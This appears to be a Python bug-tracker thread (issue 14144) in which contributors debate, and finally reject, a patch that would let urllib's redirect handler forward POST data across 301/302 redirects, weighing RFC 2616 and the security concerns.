POST. Here is a section which talks about 3xx redirection. That’s clear as mud :) If I read correctly, the text means that the user agent is free to follow redirects without asking the user if the request is GET or HEAD, and needs to ask the user if the request is e.g. POST. That’s in line with what Firefox does when you refresh after a POST: It asks you to confirm if you want the data to be re-sent. POST not being idempotent explains the need for this precaution. So, I think a library like urllib should not prevent people from doing something that is allowed. +1 to a new param to transfer the body when following a redirect under a POST. Senthil, The HTTPRedirectHandler is already breaking RFC2616 by it's own admission in the code comments (from the source): # Strictly (according to RFC 2616), 301 or 302 in response # to a POST MUST NOT cause a redirection without confirmation # from the user (of urllib2, in this case). In practice, # essentially all clients do redirect in this case, so we # do the same. # be conciliant with URIs containing a space I can definitely understand the issue with changing the default behavior to redirect the POST data. However, an added option which leaves the current behavior as the default shouldn't hurt. I'm submitting a new patch file (urllib2.py.redirect_option.patch), which will do exactly that. > However, an added option which leaves the current behavior as the default shouldn't hurt. My opinion too. urllib is sometimes a client, sometimes a library used to build clients, which need a knob to implement their own decisions or possibly ask the user for confirmation. A new argument being a new feature, this patch must target 3.3. Some comments on the patch: + # NOTE: Setting redirect_post_data to True *can* introduce security + # issues and is not recommended unless you are sure of where the + # POST data is being redirected! I would tone down this note, for example: # setting redirect_post_data to True can introduce security # issues, use with caution + redirect_post_data = False Is an attribute okay or should methods (__init__, maybe methods that do the requests too) grow a new parameter? Also, new tests and a doc update would be needed, but you may want to wait for Senthil’s approval before doing more work on this. I have no problem making doc and test changes. I'll probably need a pointer as to where these changes need to be made and submitted to, but like you said, I'll wait until the patch is accepted before doing that. > I have no problem making doc and test changes. I'll probably need a > pointer as to where these changes need to be made Great! I think the right test file is Lib/test/test_urllib2.py (the test files were not renamed in Python 3 when some modules were renamed); there is a test_redirect method that should be the right place. Senthil will confirm. Remember to work from a 3.3 checkout (i.e. the default branch of). More help about contributing (like where to find files) is at. > and submitted to, Just as a patch on this report. Hi Jay & Éric, I understand your points and providing an extra argument seems like an idea that could be useful to circumvent , what you see as a problem. The RFC section states. User: Post to /a (and if there is redirect follow that post to the corresponding site). Browser: Posts to /a and Server says /a is /b. Browser: Posts to /b But do you know if any such browser setting exist? No. Browsers for good reasons do not provide such a setting and they prompt user if they want to follow the redirect with POST. In a similar way, developers using urllib as library in their applications can obtain the redirected URL and then POST to the redirected URL. That would be equivalent behavior. Providing an automatic follow redirect on POST could serious security issue, both for clients/libraries and browser. Even with a word of caution, it has a high chance of being misused. So, I am -1 on this proposal. I hope you understand my argument. I had thought about this earlier a for a similar issue and I remember we made the decision to drop the data following the redirected POST. If my argument is not convincing enough, then I think, it would be good idea to bring this bug to discussion on python-dev or web-sig and provide some concrete real world examples. That could bring some use cases for/against this issue and might be helpful. Thanks, Senth. My reading too. >. The big difference that I see is that urllib is a library, not a browser. A browser could be implemented on top of urllib, and it is the browser’s responsibility to ask the user if they want POST data to be sent again. The browser then needs to tell urllib to forward POST data: this is the piece that’s missing. > In a similar way, developers using urllib as library in their applications can obtain the redirected URL > and then POST to the redirected URL. That would be equivalent behavior. Ah, so there is a way to achieve it! If Jay is satisfied by this, we could add an example of using that in the urllib howto, with the appropriate warnings. That would have much less risk than a new parameter. On Mon, Mar 05, 2012 at 11:15:38AM +0000, Éric Araujo wrote: > Ah, so there is a way to achieve it! If Jay is satisfied by this, > we could add an example of using that in the urllib howto, with the > appropriate warnings. That would have much less risk than a new > parameter. Yeah. This could be cookbook recipe style example, if it's utility value is high. I am closing this issue as I feel that the requirement may not be addressed by a change. If there is patch for HowTo, we can tackle that in another issue. Thank you for contribution. Continued in #14338.
https://bugs.python.org/issue14144
CC-MAIN-2020-50
refinedweb
1,256
64.81
1.1 anton 1: \ source location handling 2: 1.7.1 anton 20: 1.3 pazsan 21: \ related stuff can be found in kernel.fs 1.1 anton 22: 1.9 anton 23: \ this stuff is used by (at least) assert.fs and debugs.fs 1.1 anton 24: 1.10 anton 25: : loadfilename#>str ( n -- addr u ) 1.12 anton 26: included-files 2@ rot min 2* cells + 2@ ; 1.10 anton 27: 28: : str>loadfilename# ( addr u -- n ) 29: included-files 2@ 0 ?do ( addr u included-files ) 30: i over >r 2* cells + 2@ 31: 2over str= if 32: rdrop 2drop i unloop exit 33: endif 34: r> loop 1.11 anton 35: drop 2drop 0 ; 1.10 anton 36: 1.9 ! ;
https://www.complang.tuwien.ac.at/cvsweb/cgi-bin/cvsweb/gforth/source.fs?annotate=1.13;hideattic=0;f=h;only_with_tag=v0-6-1;ln=1
CC-MAIN-2021-43
refinedweb
125
80.28
Okay, have to look to the graphics experts on this one. I have a rectangular bitmap (large) and a circular bitmap (small). I want to place the large rectangular bitmap behind the smaller circular bitmap with the larger rectangular bitmap taking on the shape of the smaller circular bitmap (i.e. the rectangular bitmap should be clipped or otherwise). The smaller circular bitmap has some transp I have a loaded Bitmap which I would like to convert to set the config to Bitmap.Config.RGB_565. Is there a simple way of converting a Bitmap to this configuration after the Bitmap is already loaded into memory? For example, below I have a bitmap being decoded from the application resources, however, how would I convert an already loaded Bitmap to RG Bitmap.Config.RGB_565 Bitmap RG i am getting this error and i dont know why or understand the reason: vector<double> fourier_descriptor(Gdiplus::Bitmap myBitmap){ vector<double> res; Contour c; vector<Pixel> frame;// = c.GetContour(p);frame = c.GetContour(myBitmap); return res;} the error is in this line frame I have a method that draws a Bitmap like so: public void DrawGrid(){GridBitMap = new Bitmap(x,y);MyGraphic = Graphics.FromImage(GridBitMap);MyGraphic.FillRectangle(BackGround, 0, 0, x, y);//Then using loops I draw various lines like thisMyGraphic.DrawLine(Pen.Black,x,y,xx,yy);//Then I add the Bitmap to a Picturebox PictureBox.Image = Grid I recently followed Googles Advice on Bitmap Caching in Android and added my own LruCache from the support library. The LruCache works best if the size of the images in bytes is known to the cache. The problem ist the getByteCount for bitmaps is only available since Android API Level 11. How would you guess the size of an bitmap in memory? I send message to this handler(here I ommitted some cases) to do some operation on a bitmap and then set the bitmap on the UI. Because the operation on the bitmap is time consuming, I put it in a thread. When I finishing doing this, I set the UI in the UI thread with the method runOnUiThread. Normally, all this runs well, but in some cases I got the following exception: java.lang.RuntimeE Assuming that i have an android phone with max x=400 and max y=300 I have a 5000 by 5000 px bitmap and i display a 400 by 300 part of it on screen. I scroll it around using touch events. I want to draw a smaller bitmap(30 by 30px) onto that larger bitmap at location (460,370). But i cant statically do it(as my game requires). I want to draw and undraw that smaller image according t I use the following code to initialize my bitmap variable: Bitmap bitmap = ((BitmapDrawable)this.model.gameView.context.getResources().getDrawable(R.drawable.pic1)).getBitmap(); When I try to log the width of that bitmap, the log does not even output anything for that call. I know it's making it to that line, because I traced the code. I'm trying to create a resized image from a bitmap, set a new height/width and a new resolution and save it to PNG. I can do this either from directly A) Image.FromFile(filename) or B) New Bitmap(imageSource) to create the the A Bitmap to be passed to B. Both work okay schmokay, but A does not allow me to set a new width/height on creation (but it does allow me to pres Image.FromFile(filename) New Bitmap(imageSource) i draw paint using myview here some when open activity that time on myview onsize change() i am getting bitmap size exceeds out of memory exception.please any one having idea suggest me..here my code is private Paint mPaint; private Bitmap mBitmap;private Canvas canvas;public class MyView extends View{ private Path
http://bighow.org/tags/Bitmap/1
CC-MAIN-2017-47
refinedweb
645
62.17
The ELF Object File Format by Dissection Last month, we reached a point where were beginning to dissect some real ELF files. For this, I will use the readelf utility which I wrote when I was first trying to understand the ELF format itself. Later on, it became a valuable tool for debugging the linker as I added support for ELF. The sources to readelf should be on tsx-11.mit.edu in pub/linux/packages/GCC/src or in pub/linux/BETA/ibcs2. Let us start with a very simple program—the hello world program we used last month. largo% cat hello.c main() { printf("Hello World\n"); } largo% gcc-elf -c hello.c On my laptop, the gcc-elf command invokes the ELF version of gcc—once ELF becomes the default format, you will be able to use the regular gcc command which produces the ELF file hello.o. Each ELF file starts with a header (struct elfhdr in /usr/include/linux/elf.h), and the readelf utility can display the contents of all of the fields: largo% readelf -h hello.o ELF magic:7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Type, machine, version = 1 3 1 Entry, phoff, shoff, flags = 0 0 440 0 ehsize, phentsize, phnum = 52 0 0 shentsize, shnum, shstrndx = 40 11 8 The ELF magic field is just a way of unambiguously identifying this as an ELF file. If a file does not contain those 16 bytes in the magic field, it is not an ELF file. The type, machine, and version fields identify this as an ET_REL file (i.e., an object file) for the i386. The ehsize field is just the sizeof(struct elfhdr). Each ELF file contains a table that describes the sections within the file. The shnum field indicates that there are 11 sections; the shoff field indicates that the section header table starts at byte offset 440 within the file. The shentsize field indicates that the entry for each section is 40 bytes long. All throughout ELF, the sizes of various structures are always explicitly stated. This allows for flexibility; the structures can be expanded as required for some hardware platforms and the standard ELF tools do not have to know about this to be able to make sense of the binary. Also, it allows room for future expansion of the structures by newer versions of the standard. largo% readelf -S hello.o There are 11 section headers, starting at offset 1b8: [0] NULL 00000000 00000 00000 00 / 0 0 0 0 [1] .text PROGBITS 00000000 00040 00014 00 / 6 0 0 10 [2] .rel.text REL 00000000 00370 00010 08 / 0 9 1 4 [3] .data PROGBITS 00000000 00054 00000 00 / 3 0 0 4 [4] .bss NOBITS 00000000 00054 00000 00 / 3 0 0 4 [5] .note NOTE 00000000 00054 00014 00 / 0 0 0 1 [6] .rodata PROGBITS 00000000 00068 0000d 00 / 2 0 0 1 [7] .comment PROGBITS 00000000 00075 00012 00 / 0 0 0 1 [8] .shstrtab STRTAB 00000000 00087 0004d 00 / 0 0 0 1 [9] .symtab SYMTAB 00000000 000d4 000c0 10 / 0 a a 4 [a] .strtab STRTAB 00000000 00194 00024 00 / 0 0 0 1 Listing 1. Section Table for hello.o Each section header is just a struct ELF32_Shdr. You may notice that the name field is just a number—this is not a pointer, but an offset into the .shstrtab section (we can find the index of the .shstrtab section from the file header in the shstrndx field). Thus we find the name of each section at the specified offset within the .shstrtab section. Let us dump the section table for this file; see figure 1. You will notice sections for nearly everything which we have already discussed. Each section has an identifier which specifies what the section contains (in general, you should never have to actually know the name of a section or compare it to anything). After the type, there is a series of numbers. The first of these is the address in virtual memory where this section should be loaded. Since this is a .o file, it is not intended to be loaded into virtual memory, and this field is not filled in. Next is the offset within the file of the section, and then is the size of the section. After this come a series of numbers—I won't parse these in detail for you, but they contain things like the required alignment of the section, a set of flags which indicate whether the section is read-only, writable, and/or executable. The readelf program is capable of performing disassembly: largo% readelf -i 1 hello.o 0x00000000 pushl %ebp 0x00000001 movl %esp,%ebp 0x00000003 pushl $0x0 0x00000008 call 0x08007559 0x0000000d addl $4,%esp 0x00000010 movl %ebp,%esp 0x00000012 popl %ebp 0x00000013 ret The .rel.text section contains the relocations for the .text section of the file, and we can display them as follows: largo% readelf -r hello.o Relocation section data:.rel.text (0x2 entries) Tag: 00004 Value 00301 R_386_32 (0 ) Tag: 00009 Value 00b02 R_386_PC32 (0 printf) This indicates that the .text section has two relocations. As expected, there is a relocation for printf indicating that we must patch the address of printf into offset 9 from the beginning of the .text section, which happens to be the operand of the call instruction. There is also a relocation so that we pass the correct address to printf. Now let us see what happens when this file is linked into an executable. The section table now looks something like Listing 2. The first thing you will notice is a lot more sections than were in the simple .o file. Much of this because this file requires the ELF shared library libc.so.1. At this point I should mention the mechanics of what happens when you run an ELF program. The kernel looks through the binary and loads it into the user's virtual memory. If the application is linked to a shared library, the application will also contain the name of the dynamic linker that should be used. The kernel then transfers control to the dynamic linker, not to the application. The dynamic loader is responsibile for first initializing itself, loading the shared libraries into memory, resolving all remaining relocations, and then transferring control to the application. Going back to our executable, the .interp section simply contains an ASCII string that is the name of the dynamic loader. Currently this will always be /lib/elf/ld-linux.so.1 (the dynamic loader itself is also an ELF shared library). Next you will notice 3 sections, called .hash, .dynsym, and .dynstr. This is a minimal symbol table used by the dynamic linker when performing relocations. You will notice that these sections are mapped into virtual memory (the virtual address field is non-zero). At the very end of the image are the regular symbol and string tables, and these are not mapped into virtual memory by the loader. The .hash section is just a hash table that is used so that we can quickly locate a given symbol in the .dynsym section, thereby avoiding a linear search of the symbol table. A given symbol can typically be located in one or two tries through the use of the hash table. The next section I want to mention is the .plt section. This contains the jump table that is used when we call functions in the shared library. By default the .plt entries are all initialized by the linker not to point to the correct target functions, but instead to point to the dynamic loader itself. Thus, the first time you call any given function, the dynamic loader looks up the function and fixes the target of the .plt so that the next time this .plt slot is used we call the correct function. After making this change, the dynamic loader calls the function itself. This feature is known as lazy symbol binding. The idea is that if you have lots of shared libraries, it could take the dynamic loader lots of time to look up all of the functions to initialize all of the .plt slots, so it would be preferable to defer binding addresses to the functions until we actually need them. This turns out to be a big win if you only end up using a small fraction of the functions in a shared library. It is possible to instruct the dynamic loader to bind addresses to all of the .plt slots before transferring control to the application—this is done by setting the environment variable LD_BIND_NOW=1 before running the program. This turns out to be useful in some cases when you are debugging a program, for example. Also, I should point out that the .plt is in read-only memory. Thus the addresses used for the target of the jump are actually stored in the .got section. The .got also contains a set of pointers for all of the global variables that are used within a program that come from a shared library. The .dynamic section contains some shorthand notes used by the dynamic loader. You will notice that the section table is not itself loaded into virtual memory, and in fact it would not be good for performance for the dynamic loader to have to try to parse it to figure out what needs to be done. The .dynamic section is essentially just a distilled version of the section header table that contains just what is needed for the dynamic loader to do its job. You will notice that since the section header table is not loaded into memory, neither the kernel nor the dynamic loader will be able to use that table when loading files into memory. A shorthand table of program headers is added to provide a distilled version of the section table containing just the information required to load a file into memory. For the above file it looks something like: largo% readelf -l hello Elf file is Executable Entry point 0x8000400 There are 5 program headers, starting at offset 34: PHDR 0x00034 0x08000034 0x000a0 0x000a0 R E Interp 0x000d4 0x080000d4 0x00017 0x00017 R Requesting program interpreter \ [/lib/elf/ld-linux.so.1] Load 0x00000 0x08000000 0x00515 0x00515 R E Load 0x00518 0x08001518 0x000cc 0x000d4 RW Dynamic 0x0054c 0x0800154c 0x00098 0x00098 RW Shared library: [libc.so.4] 1 As you can see, the program header contains a pointer to the name of the dynamic loader, instructions on what portions of the file are to be loaded into virtual memory (and the virtual addresses they should be loaded to), the permissions of the segments of memory, and finally a pointer to the .dynamic section that the dynamic loader will need. Note that the list of required shared libraries is stored in the .dynamic section. I will not pick apart an ELF shared library for you here—libraries look quite similar to ELF executables. If you are interested, you can get the readelf utility and pick apart your own libraries. At the start of this article, I said one reason we were switching to ELF was that it was easier to build shared libraries with ELF. I will now demonstrate how. Consider two files: largo% cat hello1.c main() { greet(); } largo% cat english.c greet() { printf("Hello World\n"); } The idea is that we want to build a shared library from english.c, and link hello1 against it. The commands to generate the shared library are: largo% gcc-elf -fPIC -c english.c largo% gcc-elf -shared -o libenglish.so english.o That's all there is to it. Now we compile and link the hello1 program: largo% gcc-elf -c hello1.c largo% gcc-elf -o hello1 hello1.o -L. -lenglish And finally we can run the program. Normally the dynamic loader only looks in certain locations for shared libraries, and the current directory is not one of the places it normally looks. Thus to run the program, you can use a command like: largo% LD_LIBRARY_PATH=. ./hello1 Hello World The environment variable LD_LIBRARY_PATH tells the dynamic loader to look in additional places for the shared libraries (this feature is disabled for setuid programs for security reasons). To avoid having to specify LD_LIBRARY_PATH, you have several options. You could copy your shared library to /lib/elf, but you can also link your program in the following way: largo% gcc-elf -o hello1 hello1.o\ /home/joe/libenglish.so largo% ./hello1 Hello World To build more complicated shared libraries, the procedure is not really that much different. Everything that you want to put into the shared library should be compiled with -fPIC; when you have compiled everything, you just link it all together with the gcc -shared command. The procedure is so much simpler mainly because we bind addresses to functions at runtime. With a.out libraries, the addresses are bound at link time. This means that lots of special care must be taken to ensure that the .plt and .got have sufficient room for future expansion and that we keep the variables at the same addresses from one version of the library to the next. The tools for building a.out libraries help ensure all of this, but it makes the build procedure much more complicated. ELF offers one further feature that is not easily available with a.out. The dlopen() function can be used to dynamically load a shared library into the user's memory, and you are then able to call the dynamic loader to find symbols within this shared library—in other words, you can call functions that are defined in these modules. In addition, the dynamic loader is used to resolve any undefined symbols within the module itself. This may be easiest to explain with an example. Given the following source file: #include <dlfcn.h> main(int argc, char * argv[]) { void (*greeting)(); void * module; if( argc > 2 ) exit(0); module = dlopen(argv[1], RTLD_LAZY); if(!module) exit(0); greeting = dlsym(module, "greet"); if(greeting) { (*greeting)(); } dlclose(module); } you can compile, link, and run it (using the shared library english.so which was built earlier): largo% gcc-elf -c hello2.c largo% gcc-elf -o hello2 hello2.o -ldl largo% ./hello2 ./libenglish.so Hello World To expand this example a little bit, you could generate other modules with greetings in other languages. Thus in theory, one could add multi-lingual support for some application merely by supplying a set of shared libraries that contain the language-specific portions of the application. In the above example, I showed how you can locate the address of a function within a shared library. But the dlsym() function will also return the address of data variables, so you could just as easily retrieve the address of a text string from the shared library. As I prepare to close, I should mention some options to readelf which I have not demonstrated. readelf -s dumps the symbol tables and readelf -f dumps the .dynamic section. Finally, I should mention something about the timetable. When we first got ELF to a point where it was usable (last September), we decided to spend a relatively long period of time testing it and shaking out all of the problems. Back then I felt that roughly 4-to-6 months would allow people to test it thoroughly, plus we wanted to give an opportunity for certain applications to be adapted for ELF (the most recent versions of insmod and Wine now support ELF, for example). As I write this, no firm date has been set for a public release, but it is possible that ELF will be public by the time you read this. In these articles I have attempted to give you a guided introduction to the ELF file format. A lot of the material I have covered is not of much practical value to most users (unless you want to hack the linker), but my experience is that there are a lot of people who are curious about how it all works, and I hope that I have provided enough information to satisfy most people. For more information about the ELF file format, you can obtain the ELF specifications from a number of sources—you can try in pub/tis/elf11g.zip. The specifications are also available in a printed format. See SYSTEM V Application Binary Interface (ISBN 0-13-100439-5) and SYSTEM V Application Binary Interface, Intel386 Architecture Processor Supplement (ISBN 0-13-104670-5). Eric Youngdale has worked with Linux for over three years, and has been active in kernel development. He developed the current a.out Linux shared libraries before developing much of the new ELF support. He can be reached as eric@aib... Very good article indeed. Very good article indeed. Very good description of the ELF file format Hi all I'm trying to write a small ELF loader, enough to interface the L4/Fiasco microkernel from a non-ELF executable files (LX types, OS/2 flavour). So after the loadable segments have been read into their virtual space, What is the next step? Set up the .got table, but how? Greetings Good article This is a very good article.I came across it by chance but it is a very good article as I am new to kernel development it did helped me. Another year, another reader.. 2010 and still useful to at least me :) Although the output of readelf is more verbose these days.. Allocation of global data Global data as well as static data will be allocated on the .data section of the linker directive. where the global data goes into ? thank you very much for the detailed info. where the global data goes into, in which section the global data goes ? How to change Entry Point Address? Hi Eric, IT was a good material on ELF..... Is it possible to change the entry point address of an ELF object file.How to do it? Question hello, I have a problem and I believe that you can solve to me, beforehand thank you very much. I must make an operating system that it loaded to me from a USB, then I am using bootmaker, but when attempt to run it leaves the following message to me: error: cannot load "kernel.elf" as I solve it? thank you very much sorry for my english, if someone speak spanish, better. link to the previous part To give a link to the first part (it was missing)... Part 1 : The ELF Object File Format - Introduction It is realy a good article This is a very good article, Most of the programmers don't know what are the thigs happenning when they compiled ,Thank u very much. Gayanath.) I must admit that I also foun I must admit that I also found this article useful, even in the year 2005. Gave me quite an insight as to what was actually happening in the ELF format representation of my process. Hey Its a very good article. Hey Its a very good article. this isn't a shit. watch your words... Re: Kernel Korner: The ELF Object File Format by Dissection Well 9 years on, and there are still people out here who are grateful for you article. It certainly helped me solve a problem. AlanB Re: Kernel Korner: The ELF Object File Format by Dissection Hello Eric, thanks a lot. Very good! Great Article Hi Eric, I've just read this article and I think its still relevant and useful to a lot of people. Thanks a lot.
http://www.linuxjournal.com/article/1060?HttpOnly%2C_mt_redirect=true&quicktabs_1=1
CC-MAIN-2015-22
refinedweb
3,289
72.36
The TigerTree class will query the to-be-hashed data via this abstract interface. More... #include <TigerTree.hh> The TigerTree class will query the to-be-hashed data via this abstract interface. This allows to e.g. fetch the data from a file. Definition at line 43 of file TigerTree.hh. Return the requested portion of the to-be-hashed data block. Special requirement: it should be allowed to temporarily overwrite the byte one position before the returned pointer. Implemented in TTTestData. Because TTH calculation of a large file takes some time (a few 1/10s for a harddisk image) we try to cache previous calculations. This method makes sure we don't wrongly reuse the data. E.g. after it has been modified (by openmsx or even externally). Note that the current implementation of the caching is only suited for files. Refactor this if we ever need some different. Implemented in TTTestData.
http://openmsx.org/doxygen/classopenmsx_1_1TTData.html
CC-MAIN-2020-16
refinedweb
153
61.22
Gitkube is a tool for building and deploying Docker images on Kubernetes using git push. After a simple initial setup, users can simply keep git push-ing their repos to build and deploy to Kubernetes automatically. Gitkube will run on any Kubernetes vendor/distribution AS IS. In case you find any difficulties in the setup, please comment on #33 kubectl create -f #expose gitkubed service kubectl --namespace kube-system expose deployment gitkubed --type=LoadBalancer --name=gitkubed Install Gitkube CLI: curl | bash scoop install gitkube Or download the latest release and add it to your PATH. Use Gitkube CLI to install Gitkube on the cluster: gitkube install git push git push <remote> master User should have a git repo with source code and a Dockerfile. User should also create a base K8s deployment for the application. A Remote resource consists of 3 parts: git push. Follow this example repo for more workflows with gitkube. Gitkube has three components: Gitkube is an open source project licensed under Apache License 2.0 Contributions are welcome. Join the Gitkube channel in the Kubernetes Slack group This project has come out of the work at hasura.io. Current maintainers @Tirumarai, @shahidh_k. Follow @gitkube to stay updated. Gitkube logo concept and design by Samudra Gupta.
https://awesomeopensource.com/project/hasura/gitkube
CC-MAIN-2021-04
refinedweb
209
65.32
Fedora Installation :: Update From FC10 To Fedora 12 From The Command Line?Dec 10, 2009 How do I update from FC10 to Fedora 12 from the command line.View 2 Replies How do I update from FC10 to Fedora 12 from the command line.View 2 Replies I have an older laptop on which I have installed Fedora Core 10 (2.6.27.5-117.fc10.i686). I am using a Retail Plus Mini Wireless USB Adapter. I have scanned this forum and someone mentioned that support for this adapter should come "out of the box" for FC10. I have a fair amount of experience with Linux command line configuration but am by no means an expert. I have absolutely no experience, however, with wireless. NB that via iwconfig I get the output below which is giving information about my (currently for now unencrypted) SSID called "activity_logged". Pardon my ignorance but wouldn't this mean that I have wireless enabled and if so how does one access it through the command line? I would also eventually like to go back to encrypted status and access that via command line. [Code]... I just tried to update to kernel 2.6.27.15-170.2.24.fc10 (x86_64) at the suggestion of the gnome update widget, and the process hung. A bunch of other things were updating at the same time, many of which were related to audacity or wine. I'm not sure just what was being updated, because the option to review which updates are available does not work - when I click on it, nothing happens, but when I take the other choice (install all updates), I take pot luck. It would be nice to be able to choose which programs to update, and to be able to upgrade the kernel independently, but I don't seem to be able to do that at the moment. i've gotten my fedora 12 to the point where i can run python3 scripts from command line and can call up python 2.6.2 idle with the command 'idle' from command line. what command will call up python3 (3.1.2 to be exact) idle?View 5 Replies View Related I need to install a command line server without gui and smallest as possible Is there a option on installer to obtain a minimal server?View 4 Replies View Related I made a live USB memory stick / pendrive with Ubuntu netbook remix 10.04 using my desktop computer. I want to install / update my netbook that has no network function yet. I booted the desktop with the pendrive & ran update manager. I want to update the kernel so I will have the driver that will operate my netbook ethernet.Acer AOD260 has Ethernet Controller: AR8151 v1.1 Fast Ethernet, Atheros Communications & Network Controller: Broadcom 4727 (rev 01)and will not work from the current release of 10.04 (too new) but there are supposed to be drivers in the newer kernels. Running Update Manager I get a box labeled "Debconf on ubuntu" & says "Configuring grub-pc". There is an entry box that says "linux command line:" & is empty. When I press the help button I get the message "The following Linux command line was extracted from /etc/default/grub of the 'kopt' parameter in GRUB Legacy's menu.lst. Please verify that is correct, and modify it if necessary.The installer is hanging, Preconfiguring packages ..., probably waiting for a response, but I have no idea what to do. I recently updated, and now when I boot it only goes as far as grub command line. There is no grub menu. The computer is a Dell Inspiron 8600 laptop with only Ubuntu installed -- no dual boot, no weird partition schemes. Originally installed Ubuntu 09.04 on this computer, upgraded a couple times and it currently has (had) 10.04.1 LTS running. The update should have upgraded from kernel 2.6.32-23 to 2.6.32-24. I can boot with a live CD and mount the hard drive. The drive seems fine, so it appears to be simply a grub config issue. I have to boot with live cd to get online to check for potential solutions. So I'm taking some notes on how to use grub.View 4 Replies View Related I'd like to say I'm very impressed with Fedora 11. I'm a long time Linux user and I've tried many distros. But, I usually keep only the best on my laptop. For a long time that was Ubuntu but, I think Fedora 11 has made some key improvements over Ubuntu and I'm eager to switch. The problem is: I haven't been able to run Fedora as anything other than on the Live CD. Everything works perfectly and it installs but, when I reboot, Grub begins. Instead of booting, however, Grub drops into its minimal shell and gives me a command line. I've tried installing it a number of ways now and have read much about the problems with Ext4 on Grub and took special care to see that Grub has its own, separate, /boot ext3 partition. Even then, no luck. My hardware should work fine. I've got an HP DV-5 with 4GB RAM, AMD Turion 64-bit dual-core @ 2 Ghz, and an IDE 250GB hard drive. I'm working with the 64-bit Fedora 11 Live disc with KDE as the Gui. I can't update my software in fedora 13 from console with yum command or from kpackagekit Its always show error : Quote: Downloading Packages: Running rpm_check_debug Running Transaction Test Transaction Test Succeeded [Code]..... When trying to launch firefox after upgrading to FC10, I get:Couldn't load XPCOMView 4 Replies View Related I did the yum preupgrade install, all went well, did preupgrade -gui ; did everything fine, then i got the REBOOT now to start updating, clicked and i have justView 5 Replies View Related I was forced to reinstall fc10 a couple of days back and from them the bootingup is really slow(takes more then 1 minute to show login screen). before the reinstall, it was quite fast. i dont know what went wrong. [Code].... I am trying to install systemc v2.1.0 on fc10 with gcc 4.3.2. I have gone through the previous posts for systemc installation with gcc 4.3.2 and have installed the patch , added the following headers in systemc-2.2.0/src/sysc/utils/sc_utils_ids.cpp #include "string.h" #include "cstdlib" but it did not work out.This is what I get The complete installation process is as follows $tar xvzf systemc-2.1.v1.tgz $cd systemc-2.1.v1 $wget // patch from post $patch -p0<patch_systemc-2.1.v1-gcc4-osx [code].... After to download the firefox-3.0.10.tar.bz2I have the next problem Code: firefox-3.0.10]$ ./firefox ./run-mozilla.sh: ./firefox-bin: /lib/ld-linux.so.2: bad ELF interpreter: [code].... installing IE on FC10 as I need it to access company email I installed wine first as #yum install wine* then I installed cabextract as #yum install cabextract after that I downloaded IEs4linux and run the script ad $./ies4linux I got the following message in the terminal "IEs4Linux 2 is developed to be used with recent Wine versions (0.9.x). It seems that you are using an old version. It's recommended that you update your wine to the latest version (Go to: [URL])" and in the install window script couldn't download flash and it seems to be hang every thing is stopped and I didn't get any message in terminal or in installation window.View 1 Replies View Related I'd like to try a clean install instead of an upgrade from FC10 to FC11. What is a good way of getting the list of all packages that were installed through yum, and how do I feed that list to yum on a newly installed FC11?View 7 Replies View Related i recently did some changes to my hard disk partitonand now linux is in hd0,6when i booted my pc,i got the grub commmand line interfaceso,I think that i need to edit grub.conf in fedora 14then at cmd i did this: grub> root (hd0,6) grub> kernel (hd0,6)/vmlinuz file not found [code].... I have just loaded the FC9 onto a HP/Compaq D510 2.8Ghz/Intel graphic card. Everything when as expected during the install but on login I get the following set of errors. The follow Panels encounters a problem. [Code]..... Just installed FC10 and noticed no sound with latest kernel (2.6.27.15-170.2.24), however I do have sound with kernel 2.6.27.5-117. No other differences. Anybody else have this problem?View 10 Replies View Related I installed fedora on my second hdd, the other one had xp before fedora, now in grub it shows xp as other and wont boot into it, just hangs there. SDC is an external drive and sdb is the xp drive as you can tell by the filesystem. Disk /dev/sda: 320.0 GB, 320072933376 bytes 255 heads, 63 sectors/track, 38913 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Disk identifier: 0x836db2c4 ..... I am new to Fedora 10 and encountered the following problem. I installed FC10 on an external eSATA hard drive (sdb) on my laptop which already has some other Linux distros on sda. I used a DVD that came with the Fedora 10 Bible, so I can assume that the DVD had no problems. The installation went OK and I got no error messages. I added the following lines to the menu.lst file of the distro that I use to boot all my distros. title Fedora 10 root (hd1,1) kernel /boot/vmlinuz-2.6.27.15-170.2.24.fc10.i686 ro root=/dev/sdb2 rhgb quiet initrd /boot/initrd-2.6.27.15-170.2.24.fc10.i686.img When I boot Fedora, the blue bar at the bottom of the screen goes half-way, then gives me the error message: "mount: could not find filesystem '/dev/root' ". I upgraded to fedora 10 using yum but i have a problem, the installation went fine and after rebooting i got a login screen. I typed in my user name and password and after a second it returns to the login screen. Im sure the username and password are correct. If i type in another password i get an error message. So how can i log in? This is what i did to upgrade to Fc10: Code: Then i got an upgrade wizzard and selected Fedora 10 and than reboot. In the grub menu only one kernel is present which is the Fc10 so couldn't use the old one. I've tried to edit the kernel with single for single user that works gives me a command line but im just not experienced enough to figure out how i can use the command line to login. Anyone know where I can find installation driver disk for a RaidCore 5252? I do have the source code, would I be able to create a new driver for this controller? If so, how is that done?View 2 Replies View Related I have a home network with 2 WINXP machines and one I am trying to load FC10 on. If I get FC10 to work, I will convert the others to FC10. I am trying to access the WINXP machines through my LAN. I have installed samba. I have gone through a lot of places to try to configure samba. Several places say I have to set the security level on the ethernet card using system-config-securitylevel. When I enter this in terminal, I get command not found. I checked with yum and it is installed. I have tried using the menus but cannot find it anywhere. I can see the FC workgroup from one of the WINXP machines but I cannot look into it. It says I don't have the right permissions. I would like to set it so I don't need a userid/password at all. Can I do this?View 5 Replies View Related My laptop is dual-boot with Windows XP and FC10 co-existing. Yesterday, I wanna re-install FC10, so I formated(deleted) all linux partitions in Windows XP. Disaster happened when i rebooted computer: the computer cannot startup at all?Now, I don't know how to deal with it. I wanna know: what can i do to start up the computer into Windows? In my opinion, computer should work well without one system in dual-boot mode. If you format C: drive on which windows are installed, for instance, the computer can boot into FC10 normally. Why it die deleting FC10?View 1 Replies View Related I've been running FC10 with all updates and had downloaded the FC11 DVD. Yesterday I upgraded to FC 11 using the DVD and it appeared that everything went fine. However when I tried to do ayum updateI got the following error. There was a problem importing one of the Python modules required to run yum. The error leading to this problem was: No module named yum install a package which provides this module, or verify that the module is installed correctly. It's possible that the above module doesn't match the current version of Python, which is: 2.6 (r26:66714, Mar 17 2009, 11:44:14) [GCC 4.4.0 20090313 (Red Hat 4.4.0-0.26)] go to the yum faq at: [URL] I'm not sure what to do next. I also noticed that all my previously configured repositories are View Related I am trying to boot kubutu from FC10's grub. FC10 is in MBR, installed kubuntu without grub. Is that a problem for me now? I mean, should I need to install kubutu grub in order to boot from FC10 grub? I tried with these methods but nothing works: title Kubuntu 8.10 